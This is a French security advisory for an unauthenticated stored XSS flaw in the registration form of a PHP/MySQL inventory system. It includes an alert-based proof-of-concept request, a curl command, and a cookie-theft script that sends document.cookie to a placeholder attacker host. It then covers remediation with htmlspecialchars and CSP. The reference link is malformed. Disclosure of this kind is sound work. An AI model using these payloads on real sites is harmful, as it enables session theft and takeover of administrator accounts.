XSS stocké dans un système d'inventaire utilisant PHP et MySQL

Détails de la vulnérabilité

Description

Le système d'inventaire utilisant PHP et MySQL de SourceCodester (soumis le 23 mai 2026) est vulnérable à un Cross-Site Scripting stocké non authentifié (XSS) dans le module d'enregistrement du personnel (register.php).

Les champs de saisie fullname et username ne parviennent pas à nettoyer ou encoder les entrées fournies par l'utilisateur avant de les stocker dans la base de données. Lorsqu'un administrateur visite la page Gestion des utilisateurs (users.php), les charges utiles non nettoyées sont rendues directement dans le contexte HTML, provoquant l'exécution immédiate de JavaScript dans la session du navigateur de l'administrateur.

Comme l'enregistrement ne nécessite aucune authentification, un attaquant distant non authentifié peut injecter du JavaScript arbitraire qui s'exécutera dans le contexte de tout administrateur consultant le panneau de gestion des utilisateurs.

Scénario d'attaque

1. L'attaquant visite /product_inventory/register.php — aucune connexion requise.
2. L'attaquant soumet une charge utile malveillante dans les champs fullname et/ou username.
3. La charge utile est stockée dans la base de données sans nettoyage.
4. Lorsque l'administrateur se connecte et navigue vers /product_inventory/users.php, la charge utile s'exécute automatiquement dans le navigateur de l'administrateur.
5. L'attaquant peut voler le cookie de session de l'administrateur, rediriger l'administrateur vers une page de phishing, ou effectuer toute action au nom de l'administrateur.

Preuve de concept

Étape 1 — Accéder à la page d'enregistrement (aucune authentification requise)

http://<TARGET>/product_inventory/register.php

Étape 2 — Soumettre le formulaire d'enregistrement suivant

Charge utile du champ Nom complet :

<script>alert(1)</script>

Charge utile du champ Nom d'utilisateur :

<script>alert(2)</script>

Mot de passe : toute valeur (par exemple test1234)

Étape 3 — Requête HTTP (Burp Suite / curl)

POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

Équivalent curl :

curl -X POST "http://<TARGET>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

Étape 4 — Déclencher en tant qu'administrateur

Connectez-vous en tant qu'administrateur et naviguez vers :

http://<TARGET>/product_inventory/users.php

Les deux charges utiles s'exécutent immédiatement au chargement de la page.

Impact

Un attaquant non authentifié peut :

• Voler les cookies de session de l'administrateur — escalade vers la prise de contrôle complète du compte administrateur
• Rediriger l'administrateur vers des pages de phishing
• Effectuer des actions de niveau administrateur silencieusement via JavaScript (créer/supprimer des utilisateurs, manipuler l'inventaire)
• Déployer un enregistreur de frappe persistant dans le panneau d'administration
• Défigurer l'interface d'administration

Exemple de charge utile pour le vol de cookie de session (remplacer par le serveur de l'attaquant) :

<script>document.location='http://attaquant.com/vol?c='+document.cookie</script>

Captures d'écran

Étape 1 — Injection de charges utiles dans le formulaire d'enregistrement

Étape 2 — Le XSS se déclenche sur users.php de l'admin

Code affecté (Cause racine)

La vulnérabilité existe parce que register.php insère les entrées utilisateur directement dans la base de données sans nettoyage, et users.php affiche les valeurs stockées sans encodage htmlspecialchars().

Motif vulnérable dans users.php (approximatif) :

// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];

Correctif — appliquer l'encodage de sortie :

echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

De plus, les entrées doivent être nettoyées lors de l'insertion dans register.php à l'aide de strip_tags() ou de requêtes préparées avec une validation appropriée.

Remédiation

1. Encoder toutes les sorties avec htmlspecialchars() avec ENT_QUOTES avant d'afficher les données fournies par l'utilisateur en HTML.
2. Valider et nettoyer tous les champs de saisie côté serveur au point d'entrée.
3. Implémenter un en-tête de politique de sécurité du contenu (CSP) pour atténuer l'impact XSS.

Références

• [SourceCodester — Système d'inventaire utilisant PHP et MySQL](https://github.com/xmyronn/cve-2026-11518-xss/blob/HEAD/%5Bhttps:/www.sourcecodester.com/php/inventory-system-using-php-and-mysql-source-code%5D(https:/www.sourcecodester.com/php/18722/php-inventory-system.html)

Signalé par Syed Imad Uddin Alvi — Chercheur en sécurité indépendant